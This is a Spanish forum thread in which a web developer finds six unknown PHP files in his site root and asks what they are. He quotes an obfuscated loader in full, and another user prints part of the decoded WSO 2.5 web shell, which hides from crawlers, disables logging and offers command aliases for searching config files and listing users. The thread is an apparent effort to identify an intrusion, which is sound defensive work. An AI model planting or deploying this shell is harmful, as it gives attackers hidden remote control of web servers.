Informacion creo bug y backdoor..

[bruno911]

Hola a todos hoy como frequentemente hago, estaba en mi trabajo abriendo codeanywhere ( una web que permite programar estes donde estes ) y me encontre con unos archivos nuevos en el root de mi web exactamente 6 files nuevos php que son todos del siguiente formato:

w10225056w.php
w10225057w.php
etc....

con el siguiente contenido:

Código PHP:

  <?php $auth_pass="";$color="#df5";$default_action="FilesMan";$default_use_ajax=true;$default_charset="Windows-1251";preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'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'\x29\x29\x29\x3B",".");?>   

Alguien sabe que es esto?Intrusos?
Espero vuestras opiniones,
Saludos GRACIAS!

[repara2]

Hola bruno911, sea lo que sea, si tú no has creado los archivos boŕralos. Como medida de seguridad adicional cambia las contraseñas ftp, web, etc... Implementar seguridad en el código es más complejo pero empieza por filtrar $_GET y $_POST, no uses $_REQUEST y regenera los id de session cada vez que sea posible.
Saludos

[hasdpk]

Seguramente sea de algún trojano o algo parecido, esa línea contiene este código:

Código PHP:

if(!empty($_SERVER['HTTP_USER_AGENT'])) {
 
    $userAgents = array("Google",
                        "Slurp",
                        "MSNBot",
                        "ia_archiver",
                        "Yandex",
                        "Rambler"); 
                        
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
    
        header('HTTP/1.0 404 Not Found');
        exit;
 
    }
 
}
 
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');
 
if(get_magic_quotes_gpc()) {
 
    function WSOstripslashes($array) {
 
        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
 
    }
 
    $_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
 
}
 
function wsoLogin() {
 
    die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
    
}
 
function WSOsetcookie($k, $v) {
 
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
 
}
 
if(!empty($auth_pass)) {
 
    if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
        
    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
        wsoLogin();
 
}
 
if(strtolower(substr(PHP_OS,0,3)) == "win")
    $os = 'win';
else
    $os = 'nix';    
    $safe_mode = @ini_get('safe_mode');
 
if(!$safe_mode)
    error_reporting(0);
    $disable_functions = @ini_get('disable_functions');
    $home_cwd = @getcwd();
    
if(isset($_POST['c']))
    @chdir($_POST['c']);
    $cwd = @getcwd();
    
if($os == 'win') {
    $home_cwd = str_replace("\\", "/", $home_cwd);
    $cwd = str_replace("\\", "/", $cwd);
    }
    
if($cwd[strlen($cwd)-1] != '/')
    $cwd .= '/';
    
if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
    $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
    
if($os == 'win')
    $aliases = array( "List Directory" => "dir", "Find index.php in current dir" => "dir /s /w /b index.php", "Find *config*.php in current dir" => "dir /s /w /b *config*.php", "Show active connections" => "netstat -an", "Show running services" => "net start", "User accounts" => "net user", "Show computers" => "net view", "ARP Table" => "arp -a", "IP Configuration" => "ipconfig /all" );
else
    $aliases = array( "List dir" => "ls -lha", "list file attributes on a Linux second extended file system" => "lsattr -v